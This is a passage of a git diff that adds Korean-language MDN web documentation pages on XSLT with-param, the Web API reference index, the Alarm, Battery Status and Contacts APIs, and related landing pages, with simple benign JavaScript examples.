+<p><a class="external" href="http://www.w3.org/TR/xslt#section-Conditional-Processing-with-xsl:choose">XSLT section 9.2, Conditional Processing with xsl:choose</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xslt/with-param/index.html b/files/ko/web/xslt/with-param/index.html
new file mode 100644
index 0000000000..cd96049cc5
--- /dev/null
+++ b/files/ko/web/xslt/with-param/index.html
@@ -0,0 +1,33 @@
+---
+title: with-param
+slug: Web/XSLT/with-param
+tags:
+  - XSLT_Reference
+translation_of: Web/XSLT/Element/with-param
+---
+<p>{{ XsltRef() }}</p>
+<p><code>&lt;xsl:with-param&gt;</code> 요소는 템플릿에 건네는 매개변수 값을 지정합니다.</p>
+<h3 id=".EB.AC.B8.EB.B2.95" name=".EB.AC.B8.EB.B2.95">문법</h3>
+<pre>&lt;xsl:with-param name=NAME select=EXPRESSION&gt;
+	TEMPLATE
+&lt;/xsl:with-param&gt;</pre>
+<h3 id=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1" name=".ED.95.84.EC.88.98_.EC.86.8D.EC.84.B1">필수 속성</h3>
+<dl>
+ <dt>
+  <code>name</code></dt>
+ <dd>
+  이 매개변수에 이름을 줍니다.</dd>
+</dl>
+<h3 id=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1" name=".EC.84.A0.ED.83.9D_.EC.86.8D.EC.84.B1">선택 속성</h3>
+<dl>
+ <dt>
+  <code>select</code></dt>
+ <dd>
+  XPath 식을 거치는 매개변수 값을 정의합니다. 요소가 템플릿을 포함하면, 이 속성은 무시합니다.</dd>
+</dl>
+<h3 id=".ED.83.80.EC.9E.85" name=".ED.83.80.EC.9E.85">타입</h3>
+<p>하위명령, 항상 <code>&lt;xsl:apply-templates&gt;</code>이나 code&gt;&lt;xsl:call-template&gt;&lt;/code&gt; 요소 안에 나타남.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xslt#section-Passing-Parameters-to-Templates">XSLT section 11.6, Passing Parameters to Templates</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/참조/api/index.html b/files/ko/web/참조/api/index.html
new file mode 100644
index 0000000000..363fa9d3e9
--- /dev/null
+++ b/files/ko/web/참조/api/index.html
@@ -0,0 +1,65 @@
+---
+title: Web API 설명집
+slug: Web/참조/API
+tags:
+  - API
+  - 대문
+  - 웹
+  - 편람
+translation_of: Web/Reference/API
+---
+<p><span class="seoSummary">여러분이 알고 있는 웹에는 여러 유용한 작업을 수행할 수 있는 다양한 API가 제공됩니다. 이러한 API는 자바스크립트(JavaScript) 코드를 사용하여 접근할 수 있으며 {{domxref("window")}}나 {{domxref("element")}}에 대한 간단한 작업에서부터 <a href="/ko/docs/Web/WebGL">WebGL</a>이나 <a href="/ko/docs/Web_Audio_API">Web Audio</a>와 같은 API를 사용해 복잡한 그래픽 및 오디오 효과를 만들어내는 것까지 가능합니다.</span></p>
+
+<p>모든 API에 대한 각각의 인터페이스는 <a href="/ko/docs/Web/API">색인</a>에 열거돼 있습니다.</p>
+
+<p>또한 이벤트 레퍼런스에 <a href="/ko/docs/Web/Reference/Events">이용가능한 모든 이벤트 목록</a>도 있습니다.</p>
+
+<div class="cleared topicpage-table">
+<div class="section">
+<dl>
+ <dt><a href="/ko/docs/DOM">문서 객체 모델(Document Object Model)</a></dt>
+ <dd>DOM은 문서를 조회하거나 수정할 수 있는 API입니다. 문서의 {{domxref("Node")}} 및 {{domxref("Element")}}를 조작할 수 있습니다. HTML, XML, SVG는 DOM을 확장함으로써 각각의 실제적인 요소(element)를 조작합니다.</dd>
+ <dt>디바이스 API</dt>
+ <dd>본 API는 웹 페이지 및 애플리케이션에서 사용할 수 있는 다양한 하드웨어 기능을 조작합니다. 예: <a href="/ko/docs/WebAPI/Using_Light_Events"> 주변 조명 센서 API</a>, <a href="/ko/docs/WebAPI/Battery_Status" title="WebAPI/Battery_Status">배터리 상태 API</a>, <a href="/ko/docs/Using_geolocation" title="Using_geolocation">지리적 위치 API</a>, <a href="/ko/docs/WebAPI/Pointer_Lock" title="API/Pointer_Lock_API">포인터 잠금 API</a>, <a href="/ko/docs/WebAPI/Proximity" title="WebAPI/Proximity">근접 API</a>, <a href="/ko/docs/WebAPI/Detecting_device_orientation" title="WebAPI/Detecting_device_orientation">디바이스 방향성 API</a>, <a href="/ko/docs/WebAPI/Managing_screen_orientation" title="WebAPI/Detecting_device_orientation">화면 방향성 API</a>, <a href="/ko/docs/WebAPI/Vibration" title="WebAPI/WebBluetooth">진동 API</a>.</dd>
+ <dt>커뮤니케이션 API</dt>
+ <dd>본 API는 웹 페이지 및 애플리케이션에서 다른 페이지나 기기와 통신할 수 있습니다. 예: <a href="/ko/docs/WebAPI/Network_Information" title="WebAPI/Network_Information">네트워크 정보 API</a>, <a href="/ko/docs/WebAPI/Using_Web_Notifications" title="WebAPI/Using_Web_Notifications">웹 알림</a>, <a href="/ko/docs/WebAPI/Simple_Push" title="WebAPI/Push_Notifications">단순 푸시 API</a>.</dd>
+ <dt id="Data_management_APIs">데이터 관리 API</dt>
+ <dd>본 API는 사용자 데이터를 보관하고 관리할 수 있습니다. 예: <a href="/ko/docs/WebAPI/FileHandle_API" title="WebAPI/FileHandle_API">FileHandle API</a>, <a href="/ko/docs/IndexedDB" title="IndexedDB">IndexedDB</a>.</dd>
+</dl>
+
+<p>이러한 API는 어떠한 웹 사이트나 앱에서도 사용할 수 있지만 한정 권한 및 공인 애플리케이션에서는 더 강력한 Mozilla API 셋을 사용하실 수 있습니다.</p>
+
+<dl>
+ <dt>한정 권한 API</dt>
+ <dd>한정 권한 애플리케이션은 설치 방식 앱으로서 사용자가 특정 권리를 허용한 것입니다. 한정 권한 API로는 <a href="/ko/docs/WebAPI/TCP_Socket" title="WebAPI/TCP_Socket">TCP 소켓 API</a>, <a href="/ko/docs/WebAPI/Contacts" title="WebAPI/Contacts">주소록 API</a>, <a href="/ko/docs/WebAPI/Device_Storage_API" title="WebAPI/Device_Storage_API">디바이스 스토리지 API</a>, <a href="/ko/docs/DOM/Using_the_Browser_API" title="DOM/Using_the_Browser_API">브라우저 API</a> 등이 있습니다.</dd>
+ <dt>공인 API</dt>
+ <dd>공인된 애플리케이션은 파이어폭스 OS와 같은 운영체제에 중요한 조작을 수행하는 저층(low-level) 애플리케이션입니다. 한정 권한이 낮은 애플리케이션은 <a href="/ko/docs/WebAPI/Web_Activities" title="WebAPI/Web_Activities"> Web Activities</a>를 사용하여 이러한 애플리케이션과 소통합니다. 공인 API로는 <a href="/ko/docs/WebAPI/WebBluetooth" title="WebAPI/WebBluetooth"> 블루투스 API</a>, <a href="/ko/docs/WebAPI/Mobile_Connection" title="WebAPI/Mobile_Connection"> 모바일 연결 API</a>, <a href="/ko/docs/WebAPI/Network_Stats" title="WebAPI/Network_Stats"> 네트워크 상태 API</a>,<a href="/ko/docs/WebAPI/WebTelephony" title="WebAPI/WebTelephony"> 전화 기능</a>,<a href="/ko/docs/WebAPI/WebSMS" title="WebAPI/WebSMS">WebSMS</a>,<a href="/ko/docs/WebAPI/WiFi_Information" title="WebAPI/WiFi_Information"> 와이파이 정보 API</a>, <a href="/ko/docs/WebAPI/Camera" title="WebAPI/Camera">카메라 API</a>,<a href="/ko/docs/WebAPI/Power_Management" title="WebAPI/Power_Management"> 전원 관리 API</a>, <a href="/ko/docs/WebAPI/Settings" title="WebAPI/Settings">설정 API</a>,<a href="/ko/docs/WebAPI/Idle" title="WebAPI/Device_Storage_API"> 대기 API</a>,<a href="/ko/docs/WebAPI/Permissions" title="WebAPI/Permissions">사용 권한 API</a>,<a href="/ko/docs/WebAPI/Time_and_Clock" title="WebAPI/Time_and_Clock"> 시간/시계 API</a> 등이 있습니다.</dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 class="Community" id="EditCommunity" name="EditCommunity">커뮤니티</h2>
+
+<p>저희 메일링 리스트나 뉴스그룹를 통해 Web API 커뮤니티에 참여하세요.</p>
+
+<ul>
+ <li><a href="https://lists.mozilla.org/listinfo/dev-webapi">메일링 리스트</a></li>
+ <li><a href="news://news.mozilla.org/mozilla.dev.webapi">뉴스그룹</a></li>
+ <li><a href="http://groups.google.com/group/mozilla.dev.webapi">Google그룹</a></li>
+ <li><a href="http://groups.google.com/group/mozilla.dev.webapi/feeds">웹 피드</a></li>
+ <li><a href="http://hacks.mozilla.or.kr/category/webapi/">한국 Mozilla Hacks</a></li>
+</ul>
+
+<p><a href="https://wiki.mozilla.org/IRC">IRC</a>에서 <a href="irc://irc.mozilla.org/webapi">#webapi</a> 채널의 실시간 토론도 꼭 참여하세요.</p>
+
+<h2 class="Related_Topics" id="Related_topics" name="Related_topics">관련 주제</h2>
+
+<p>다음 주제도 확인해보세요.</p>
+
+<ul>
+ <li><a href="/ko/docs/Web/API">웹 API 인터페이스의 전체 색인</a></li>
+</ul>
+</div>
+</div>
+
+<p> </p>
diff --git a/files/ko/web/참조/index.html b/files/ko/web/참조/index.html
new file mode 100644
index 0000000000..f8d1a1dc35
--- /dev/null
+++ b/files/ko/web/참조/index.html
@@ -0,0 +1,30 @@
+---
+title: 웹 기술 문서 목록
+slug: Web/참조
+tags:
+  - Landing
+  - Reference
+  - Web
+translation_of: Web/Reference
+---
+<p>{{draft()}}<br>
+ 오픈 웹은 많은 기술을 사용하여 구축됩니다. 이 기술들을 사용하기 위해서는 적절한 지식이 필요합니다.<br>
+ 아래에서 각각의 참조 자료에 대한 링크를 찾아볼 수 있습니다.</p>
+
+<h2 class="Documentation" id="웹_기술들">웹 기술들</h2>
+
+<p>여러분에게 <a href="/ko/docs/Learn/Getting_started_with_the_web">웹과 함께 시작하기</a>를 추천하지만, 필수는 아닙니다.</p>
+
+<dl>
+ <dt><strong><a href="/ko/docs/Glossary/HTML">HTML</a></strong> — Structuring the web</dt>
+ <dd>하이퍼텍스트 마크업언어(HyperText Markup Language)는 의미론적으로 웹 페이지의 콘텐츠(<a href="/ko/docs/Glossary/markup">마크업</a>)를 잘 구조화된 형식으로 의미론적으로 정의하고 표현하는데 사용됩니다. HTML은 HTML 요소(HTML elements)라고 불리는 불록으로 구성된 구조화된 문서를 작성하는 방법을 제공합니다. HTML요소는 태그로 구분되며, 꺽쇠괄호(&lt;&gt;)를 사용하여 표현합니다. 일부는 페이지에 직접 내용을 소개하고, 다른 일부는 문서 텍스트에 대한 정보를 제공하고, 다른 태그는 하위 요소로 포함할 수 있습니다. 분명히, 브라우저는 페이지 내용을 해석하는데 사용하기 때문에, 그대로 문서에 보여주지 않습니다.<br>
+ <br>
+ <a href="/ko/Learn/HTML/Introduction_to_HTML">HTML 소개</a>| <a href="/ko/Learn/HTML">HTML 배우기</a> | <a href="/ko/docs/Web/Guide/HTML/HTML5">HTML5</a> | <a href="/ko/docs/Web/Guide/HTML">개발자 가이드</a> | <a href="/ko/docs/Web/HTML/Element">HTML 요소 레퍼런스</a> | <a href="/ko/docs/Web/HTML/Reference">HTML 참조</a></dd>
+ <dt><strong><a href="/en-US/docs/Glossary/CSS">CSS</a></strong> — Styling the web</dt>
+ <dd><strong>Cascading Style Sheets</strong> 는 웹 컨텐츠의 모양을 꾸미는데 사용합니다.<br>
+ <br>
+ <a href="/ko/Learn/CSS/Introduction_to_CSS">CSS 소개</a> | <a href="/ko/docs/Web/Guide/CSS/Getting_started">CSS 시작하기</a> | <a href="/ko/Learn/CSS">CSS 배우기</a> | <a href="/ko/docs/Web/CSS/CSS3">CSS3 </a>| <a href="/ko/docs/Web/Guide/CSS">개발자 가이드</a> | <a href="/ko/docs/Web/CSS/Common_CSS_Questions">일반적인 CSS 질문들</a> | <a href="/ko/docs/Web/CSS/Reference">CSS 참조</a></dd>
+ <dt><strong><a href="/ko/docs/Glossary/JavaScript">JavaScript</a></strong> — D<strong>ynamic client-side scripting</strong></dt>
+ <dd><strong>JavaScript</strong> 프로그래밍 언어는 사용자와의 대화식 이용 및 그외 동적 기능을 웹 사이트에 추가하는데 사용됩니다.</dd>
+ <dd><a href="/ko/docs/Learn/JavaScript">자바스크립트 배우기</a> | <a href="/ko/docs/Web/JavaScript/Guide">개발자 가이드</a> | <a href="/ko/docs/Web/JavaScript/Reference">자바스크립트 참조</a></dd>
+</dl>
diff --git a/files/ko/web_development/index.html b/files/ko/web_development/index.html
new file mode 100644
index 0000000000..b8925c1b2c
--- /dev/null
+++ b/files/ko/web_development/index.html
@@ -0,0 +1,66 @@
+---
+title: Web Development
+slug: Web_Development
+tags:
+  - Web Development
+translation_of: Web/Guide
+---
+<div>
+ <b>웹 개발</b>은 웹 사이트 그리고 웹 응용프로그램 개발을 (양자를 포괄적으로) 포함하고 있습니다.</div>
+<table class="topicpage-table">
+ <tbody>
+  <tr>
+   <td>
+    <h4 id=".EB.AC.B8.EC.84.9C" name=".EB.AC.B8.EC.84.9C"><a>문서</a></h4>
+    <dl>
+     <dt>
+      <a href="ko/Migrate_apps_from_Internet_Explorer_to_Mozilla">Migrate apps from Internet Explorer to Mozilla</a></dt>
+     <dd>
+      <small>Doron Rosenberg가 가지고 계신 웹 응용프로그램이 IE와 Mozilla에서 동작하는지 확인하는 법을 알려줍니다.</small></dd>
+    </dl>
+    <dl>
+     <dt>
+      <a href="ko/Using_URL_values_for_the_cursor_property">Using URL values for the cursor property</a></dt>
+     <dd>
+      <small><a href="ko/Gecko">Gecko</a> 1.8 (<a href="ko/Firefox_1.5">Firefox 1.5</a>, SeaMonkey 1.0)는 마우스 커서를 마음대로 지정할 수 있게 하는 <a class="external" href="http://www.w3.org/TR/CSS21/ui.html#cursor-props">CSS2 cursor property</a>를 위한 URL 값을 지원합니다.</small></dd>
+    </dl>
+    <p> </p>
+    <dl>
+     <dt>
+      <a href="ko/Using_Firefox_1.5_caching">Using Firefox 1.5 caching</a></dt>
+     <dd>
+      <small><a href="ko/Firefox_1.5">Firefox 1.5</a>는 메모리에 JavaScript상태 값을 포함한 웹 페이지 전체를 캐시합니다. 방문한 페이지 사이에 "뒤로", "앞으로"의 이동은 페이지를 중복해서 불러올 필요가 없을 뿐더러 JavaScript상태 값을 보존합니다. 이러한 특징들은 웹 서핑을 매우 빠르게 해줍니다.</small></dd>
+    </dl>
+    <p><br>
+     <span class="alllinks"><a>모두 보기...</a></span></p>
+   </td>
+   <td>
+    <h4 id=".EC.BB.A4.EB.AE.A4.EB.8B.88.ED.8B.B0" name=".EC.BB.A4.EB.AE.A4.EB.8B.88.ED.8B.B0">커뮤니티</h4>
+    <ul>
+     <li>Mozilla 포럼 보기...</li>
+    </ul>
+    <p>{{ DiscussionList("dev-web-development", "mozilla.dev.web-development") }}</p>
+    <ul>
+     <li><a class="external" href="http://www.whatwg.org/">WHAT Working Group</a></li>
+     <li><a class="external" href="http://webdevfeedhouse.com/">WebDev FeedHouse</a></li>
+    </ul>
+    <h4 id=".EB.8F.84.EA.B5.AC" name=".EB.8F.84.EA.B5.AC">도구</h4>
+    <ul>
+     <li><a class="link-https" href="https://addons.mozilla.org/extensions/moreinfo.php?id=60&amp;application=firefox">Web Developer extension</a></li>
+     <li><a href="ko/Venkman">Venkman</a>, the JavaScript debugger</li>
+     <li><a href="ko/DOM_Inspector">DOM Inspector</a></li>
+    </ul>
+    <p><span class="alllinks"><a>모두 보기...</a></span></p>
+    <h4 id=".EA.B4.80.EB.A0.A8_.EC.A3.BC.EC.A0.9C" name=".EA.B4.80.EB.A0.A8_.EC.A3.BC.EC.A0.9C">관련 주제</h4>
+    <dl>
+     <dd>
+      <a href="ko/AJAX">AJAX</a>, <a href="ko/CSS">CSS</a>, <a href="ko/HTML">HTML</a>, <a href="ko/JavaScript">JavaScript</a>, <a href="ko/Web_Standards">Web Standards</a>, <a href="ko/XHTML">XHTML</a>, <a href="ko/XML">XML</a></dd>
+    </dl>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<p><span class="comment">Categories</span></p>
+<p><span class="comment">Interwiki Language Links</span></p>
+<p> </p>
+<p>{{ languages( { "en": "en/Web_Development" } ) }}</p>
diff --git a/files/ko/webapi/alarm/index.html b/files/ko/webapi/alarm/index.html
new file mode 100644
index 0000000000..16c18d9bce
--- /dev/null
+++ b/files/ko/webapi/alarm/index.html
@@ -0,0 +1,181 @@
+---
+title: Alarm API
+slug: WebAPI/Alarm
+translation_of: Archive/B2G_OS/API/Alarm_API
+---
+<p>{{ SeeCompatTable() }}</p>
+<h2 id="개요">개요</h2>
+<p>Alarm API는 스케줄 알림, 또는 어플리케이션이 동작할 특정 시간을 설정한다. 알람 같은 어플리케이션 -시계, 달력, 자동 업데이트 등-은 특정 시간의 동작을 활성화해주는 <span style="line-height: inherit;">Alarm API가 필요하다.</span></p>
+<p>알람은 시스템 메시지 API를 통해 어플리케이션으로 전달된다. 알람 메시지에 허가된 어플리케이션은 알람을 사용할 수 있다.</p>
+<p>알람은 {{domxref("MozAlarmsManager")}} 인터페이스의 인스턴스 객체인 <span style="line-height: inherit;">{{domxref("window.navigator.mozAlarms")}} 로 설정한다.</span></p>
+<p> </p>
+<h2 id="example" name="example">알람 일정 설정하기 </h2>
+<p>알람을 사용할 때는 시간 설정 부터 시작한다. 표준 시간대(타임존) 기준으로 두가지의 알람이 있지만 공통적으로 {{domxref("MozAlarmsManager.add")}} 메소드를 사용한다.</p>
+<div class="note">
+  <p><strong>Note:</strong>  알람이 특정 어플리케이션에 타겟팅 되지 않았다면 시스템은 알람을 기다리는 모든 어플리케이션에 신호를 전달할 것이다.</p>
+</div>
+<h3 id="표준_시간대를_무시하는_알람">표준 시간대를 무시하는 알람</h3>
+<p>이 알람은 기기의 로컬 시간대에 맞춰 전송된다. 사용자가 시간대를 변경하면, 알람은 새로운 시간대에 맞춰 전송될 것이다. 예를 들면, 파리의 사용자가 CET <span style="line-height: inherit;">(</span><em>Central European Time</em><span style="line-height: inherit;">) 기준으로 오후 12시에 알람을 설정하다가 샌프란시스코로 이동하면 PDT </span><span style="line-height: inherit;">(</span><em>Pacific Daylight Time</em><span style="line-height: inherit;">) 기준의 오후 12시에 알람을 받는다.</span></p>
+<pre class="brush: js">// 알람 일정
+var myDate  = new Date("May 15, 2012 16:20:00");
+
+// 알람이 울릴 때 사용할 임의의 데이터
+
+var data    = {
+  foo: "bar"
+}
+
+// 표준시간대를 무시하도록 "ignoreTimezone" 설정
+var request = navigator.mozAlarms.add(myDate, "ignoreTimezone", data);
+
+request.onsuccess = function () {
+  console.log("The alarm has been scheduled");
+};
+
+request.onerror = function () {
+  console.log("An error occurred: " + this.error.name);
+};
+</pre>
+<h3 id="표준_시간대_기준의_알람">표준 시간대 기준의 알람</h3>
+<p>이 알람은 알람 일정을 정한 당시의 표준 시간에 맞춰 알람 신호가 전송된다. 사용자가 시간대를 변경하더라도 표준 시간대에 맞춰 알람이 울릴 것이다. 예를 들면, 파리의 사용자가 CET 기준 오후 12시에 설정하고 샌프란시스코로 이동한다면 PDT 기준 오전 3시에 알람이 울릴 것이다.</p>
+<pre class="brush: js">// 알람 일정
+var myDate  = new Date("May 15, 2012 16:20:00");
+
+// 알람이 울릴 때 사용할 임의의 데이터
+var data    = {
+  foo: "bar"
+}
+
+// 표준 시간대를 반영한 알람을 사용하도록 "honorTimezone" 설정
+var request = navigator.mozAlarms.add(myDate, "honorTimezone", data);
+
+request.onsuccess = function () {
+  console.log("The alarm has been scheduled");
+};
+
+request.onerror = function () {
+  console.log("An error occurred: " + this.error.name);
+};
+</pre>
+<h2 id="알람_관리">알람 관리 </h2>
+<p>알람을 한번 생성하면 계속 관리할 수 있다.</p>
+<p>{{domxref("MozAlarmsManager.getAll")}} 메소드는 현재 설정된 모든 알람 리스트를 반환한다. 이 리스트는 {{Anch("mozAlarm")}} 객체의 배열이다.</p>
+<h3 id="mozAlarm">mozAlarm</h3>
+<p>{{page("/en-US/docs/Web/API/MozAlarmsManager.getAll","mozAlarm")}}</p>
+<pre class="brush: js">var request = navigator.mozAlarms.getAll();
+
+request.onsuccess = function () {
+  this.result.forEach(function (alarm) {
+    console.log('Id: ' + alarm.id);
+    console.log('date: ' + alarm.date);
+    console.log('respectTimezone: ' + alarm.respectTimezone);
+    console.log('data: ' + JSON.stringify(alarm.data));
+  });
+};
+
+request.onerror = function () {
+  console.log("An error occurred: " + this.error.name);
+};
+</pre>
+<p>{{domxref("MozAlarmsManager.remove")}} : 알람 설정 해제</p>
+<pre class="brush: js">var alarmId;
+
+// 알람 설정 &amp; request 변수에 알람 id 저장
+var request = navigator.mozAlarms.add(new Date("May 15, 2012 16:20:00"), "honorTimezone");
+
+request.onsuccess = function () {
+  alarmId = this.result.id;
+}
+
+// ...
+
+// 알람 해제
+if (alarmId) {
+  navigator.mozAlarms.remove(alarmId);
+}
+</pre>
+<h2 id="알람_다루기">알람 다루기 </h2>
+<p>시스템이 알람 신호를 전송할 때는 모든 어플리케이션에서 받아 쓸 수 있다. 어플리케이션에서 알람을 사용하려면 알람 핸들러의 권한을 추가해야 한다. 이는, 시스템 메시징 API의 두 단계를 거치면 된다.: </p>
+<p>1, <a href="/en-US/docs/Apps/Manifest#messages" title="/en-US/docs/Apps/Manifest#messages">application manifest</a> 의 message property에 <code>alarm property를 추가하고 알람 신호를 받아서 사용할 콜백 함수가 등록된 문서의 URL 경로를 입력한다.</code></p>
+<pre class="brush: js">"messages": [
+  { "alarm": "/index.html" }
+]</pre>
+<p>2. 어플리케이션에 <code>alarm</code> message에 대한 콜백 함수를 추가한다. {{domxref("window.navigator.mozSetMessageHandler","navigator.mozSetMessageHandler")}} 메소드를 사용한다. 이 콜백 함수는 알람 관련 데이터가 포함된 {{Anch("mozAlarm")}} 객체에 접근할 수 있다.</p>
+<pre class="brush: js">navigator.mozSetMessageHandler("alarm", function (mozAlarm) {
+  alert("alarm fired: " + JSON.stringify(mozAlarm.data));
+});
+</pre>
+<p>어플리케이션이 시스템 레벨에서 아직 동작하지 않은 알람의 유무를 파악하고 싶다면 {{domxref("window.navigator.mozHasPendingMessage","navigator.mozHasPendingMessage")}} 메소드의 value를 "<code>alarm"으로 설정하면 된다.</code></p>
+<pre class="brush: js">navigator.mozHasPendingMessage("alarm");
+</pre>
+<h2 id="명세">명세 </h2>
+<table class="standard-table">
+  <thead>
+    <tr>
+      <th scope="col">Specification</th>
+      <th scope="col">Status</th>
+      <th scope="col">Comment</th>
+    </tr>
+  </thead>
+  <tbody>
+    <tr>
+      <td>{{SpecName('Alarm API')}}</td>
+      <td>{{Spec2('Alarm API')}}</td>
+      <td>Initial specification.</td>
+    </tr>
+  </tbody>
+</table>
+<h2 id="브라우저_호환">브라우저 호환</h2>
+<p>{{ CompatibilityTable() }}</p>
+<div id="compat-desktop">
+  <table class="compat-table">
+    <tbody>
+      <tr>
+        <th>Feature</th>
+        <th>Chrome</th>
+        <th>Firefox (Gecko)</th>
+        <th>Internet Explorer</th>
+        <th>Opera</th>
+        <th>Safari</th>
+      </tr>
+      <tr>
+        <td>Basic support</td>
+        <td>{{ CompatUnknown()}}</td>
+        <td>{{CompatGeckoDesktop("16")}} {{ property_prefix("moz") }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+      </tr>
+    </tbody>
+  </table>
+</div>
+<div id="compat-mobile">
+  <table class="compat-table">
+    <tbody>
+      <tr>
+        <th>Feature</th>
+        <th>Android</th>
+        <th>Chrome for Android</th>
+        <th>Firefox Mobile (Gecko)</th>
+        <th>IE Mobile</th>
+        <th>Opera Mobile</th>
+        <th>Safari Mobile</th>
+      </tr>
+      <tr>
+        <td>Basic support</td>
+        <td>{{ CompatUnknown() }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{CompatGeckoMobile("10")}} {{ property_prefix("moz") }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+        <td>{{ CompatNo() }}</td>
+      </tr>
+    </tbody>
+  </table>
+</div>
+<h2 id="관련">관련 </h2>
+<ul>
+  <li>{{domxref("window.navigator.mozAlarms","navigator.mozAlarms")}}</li>
+  <li>{{domxref("MozAlarmsManager")}}</li>
+  <li>{{domxref("window.navigator.mozSetMessageHandler")}}</li>
+</ul>
diff --git a/files/ko/webapi/battery_status/index.html b/files/ko/webapi/battery_status/index.html
new file mode 100644
index 0000000000..12347b0f20
--- /dev/null
+++ b/files/ko/webapi/battery_status/index.html
@@ -0,0 +1,75 @@
+---
+title: Battery Status API
+slug: WebAPI/Battery_Status
+tags:
+  - API
+  - Apps
+  - Battery API
+  - Battery Status API
+  - Obsolete
+  - 가이드
+  - 개요
+  - 모바일
+  - 배터리
+  - 어플리케이션
+translation_of: Web/API/Battery_Status_API
+---
+<div>{{DefaultAPISidebar("Battery API")}}{{Obsolete_Header}}</div>
+
+<p><strong>Battery API </strong>만큼이나 자주 언급되는 <strong>Battery Status API</strong>는 시스템의 배터리 충전 상태에 대한 정보를 제공하고, 배터리 상태에 따라 발생하는 이벤트를 다룰 수 있도록 해 줍니다. 배터리가 얼마남지 않은 상황에서, 앱에서 배터리의 소모를 줄인다거나 배터리가 방전되기 전에 데이터를 저장하거나 하는 것들이 가능합니다.</p>
+
+<p>Battery Status API 는 {{domxref("window.navigator.battery")}} 를 제공 합니다. 이는 {{domxref("BatteryManager")}} 객체이며 배터리 상태를 감시하고 전달받아 처리할 수 있는 이벤트를 가지고 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>아래 예제에서는 배터리가 충전중인 상태 (전원 케이블을 연결하여 충전 중인지) 와 배터리 수준의 변화를 감시합니다. 각각 {{event("chargingchange")}} 와 {{event("levelchange")}} 이벤트가 발생하면 완료 됩니다.</p>
+
+<pre class="brush: js notranslate">var battery = navigator.battery || navigator.mozBattery || navigator.webkitBattery;
+
+function updateBatteryStatus() {
+  console.log("Battery status: " + battery.level * 100 + " %");
+
+  if (battery.charging) {
+    console.log("Battery is charging");
+  }
+}
+
+battery.addEventListener("chargingchange", updateBatteryStatus);
+battery.addEventListener("levelchange", updateBatteryStatus);
+updateBatteryStatus();
+</pre>
+
+<p>명세서의 예제도 <strong><a href="http://dev.w3.org/2009/dap/system-info/battery-status.html#introduction" title="http://dev.w3.org/2009/dap/system-info/battery-status.html#introduction">확인</a></strong>해보세요.</p>
+
+<h2 id="사양">사양</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Battery API")}}</td>
+   <td>{{Spec2("Battery API")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">이 페이지의 호환성 표는 구조화된 데이터에서 생성됩니다. 만약 데이터의 기여하고 싶다면, <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>를 확인하고 pull 요청을 우리에게 보내세요.</div>
+
+<p>{{Compat("api.BatteryManager")}}</p>
+
+<h2 id="더보기">더보기</h2>
+
+<ul>
+ <li><a class="external" href="http://hacks.mozilla.org/2012/02/using-the-battery-api-part-of-webapi/">Hacks blog post - Using the Battery API</a></li>
+ <li>{{domxref("BatteryManager")}}</li>
+ <li>{{domxref("window.navigator.battery","navigator.battery")}}</li>
+</ul>
diff --git a/files/ko/webapi/contacts/index.html b/files/ko/webapi/contacts/index.html
new file mode 100644
index 0000000000..277b5fb146
--- /dev/null
+++ b/files/ko/webapi/contacts/index.html
@@ -0,0 +1,210 @@
+---
+title: Contacts
+slug: WebAPI/Contacts
+translation_of: Archive/B2G_OS/API/Contacts_API
+---
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><strong><a href="/en-US/docs/Web/API/Contacts_API">Contacts API</a></strong></li>
+ <li data-default-state="open"><a href="#"><strong>Interfaces</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/API/ContactManager"><code>ContactManager</code></a></li>
+   <li><a href="/en-US/docs/Web/API/MozContact"><code>MozContact</code></a></li>
+   <li><a href="/en-US/docs/Web/API/MozContactChangeEvent"><code>MozContactChangeEvent</code></a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Properties</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/API/Navigator/mozContacts"><code>Navigator.mozContacts</code></a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Events</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/Events/success"><code>success</code></a></li>
+   <li><a href="/en-US/docs/Web/Events/error"><code>error</code></a></li>
+   <li><a href="/en-US/docs/Web/Events/contactchange"><code>contactchange</code></a></li>
+  </ol>
+ </li>
+</ol>
+</section>
+
+<div class="overheadIndicator nonStandard nonStandardHeader">
+<p><strong>Non-standard</strong><br>
+ This feature is not on a current W3C standards track, but it is supported on the Firefox OS platform. Although implementations may change in the future and it is not supported widely across browsers, it is suitable for use in code dedicated to Firefox OS apps.</p>
+</div>
+
+<div class="warning">
+<p style="text-align: center;">This API is available on <a href="/en-US/docs/Mozilla/Firefox_OS">Firefox OS</a> for <a href="/en-US/docs/Mozilla/Firefox_OS/Security/Application_security#App_Types">privileged or certified applications</a> only.</p>
+</div>
+
+<h2 id="요약">요약</h2>
+
